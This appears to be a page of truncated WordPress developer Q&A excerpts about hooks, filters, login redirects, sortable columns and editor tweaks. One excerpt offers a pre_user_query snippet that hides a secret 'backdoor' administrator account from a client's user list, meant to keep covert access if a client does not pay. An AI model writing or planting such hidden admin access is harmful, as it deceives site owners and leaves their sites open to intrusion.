The current admin color scheme is a user setting, you can get its value with: $current_color = get_user_option( ‘admin_color’ ); See the function admin_color_scheme_picker() in wp-admin/includes/misc.php for an usage example.
While you can’t guarantee the absolute safety of this user, I have used this to hide my backdoor user (useful for clients who are aggressive in removing users, yet may forget to pay their bill, for example) add_action(‘pre_user_query’,’sleeper_pre_user_query’); function sleeper_pre_user_query($user_search) { global $current_user; $username = $current_user->user_login; if ($username != ‘my_secret_admin_user’) { global $wpdb; $user_search->query_where = … Read more
you got the first part right about using personal_options_update but to be on the safe side add edit_user_profile_update also. and as for sending emails within WordPress the best way would be to use wp_mail, So something like this: add_action( ‘personal_options_update’, ‘notify_admin_on_update’ ); add_action( ‘edit_user_profile_update’,’notify_admin_on_update’); function notify_admin_on_update(){ global $current_user; get_currentuserinfo(); if (!current_user_can( ‘administrator’ )){// avoid sending … Read more
You should not use Userlevels. Userlevels have been replaced in WP 2.0 and have been officially deprecated since 3.0 add_filter( ‘login_redirect’, ‘dashboard_redirect’ ); function dashboard_redirect( $url ) { if ( current_user_can( ‘manage_options’ ) ) { $url = esc_url( admin_url( ‘edit.php’ ) ); } return $url; } Will do what you want.
Generic Pluggable Approach for WordPress < 4.6 (See @birgire’s Answer for > 4.6) Pluggable functions are one of the more depressing relics of WordPress’s past and come with a slew of intricacies. That directly modifying the core file (which is entirely inadvisable, as @Jarmerson mentioned in the comments) did not work makes me suspect that … Read more
See this very similar question. The answer can be adjusted to work with all types of files, not just images.
This may not help any, but it can’t hurt to try it… Log into your server admin area, invoke the client interface for your database administration (e.g. phpMyAdmin), delete all the posts where their ‘type’ is marked as a revision, then compact the table. If you have thousands of pages, you might also have millions … Read more
You can use function add_settings_error. More details can be found in the WordPress documentation. I have edited your previous answer to include that: function wpse_189722_limit_tag_words( $term, $taxonomy ) { if ($taxonomy === ‘post_tag’) { if ( count( preg_split( ‘/\s+/’, trim( $term ) ) ) > 2 ) { add_settings_error(‘term_too_many_words’, ‘term_too_many_words’, ‘Maximum of 2 words allowed, … Read more
Instead of adding your column label “view” as a string, pass it in as an array with 1 as the second value. Like this: array(‘view’,1) Full Code: add_filter( ‘manage_edit-post_sortable_columns’, ‘my_sortable_view_column’ ); function my_sortable_view_column( $columns ) { $columns[‘post_views’] = array(‘view’,1); return $columns; } I don’t have a WP Codex for this, but I found someone else … Read more
I have not a working solution at hand, but what I would do is to analyze how this is done for the more seperator. In the HTML editor, there is <!– more –>, in the visual editor, an image is displayed instead. This is done by extending the tinyMCE editor – which is the base … Read more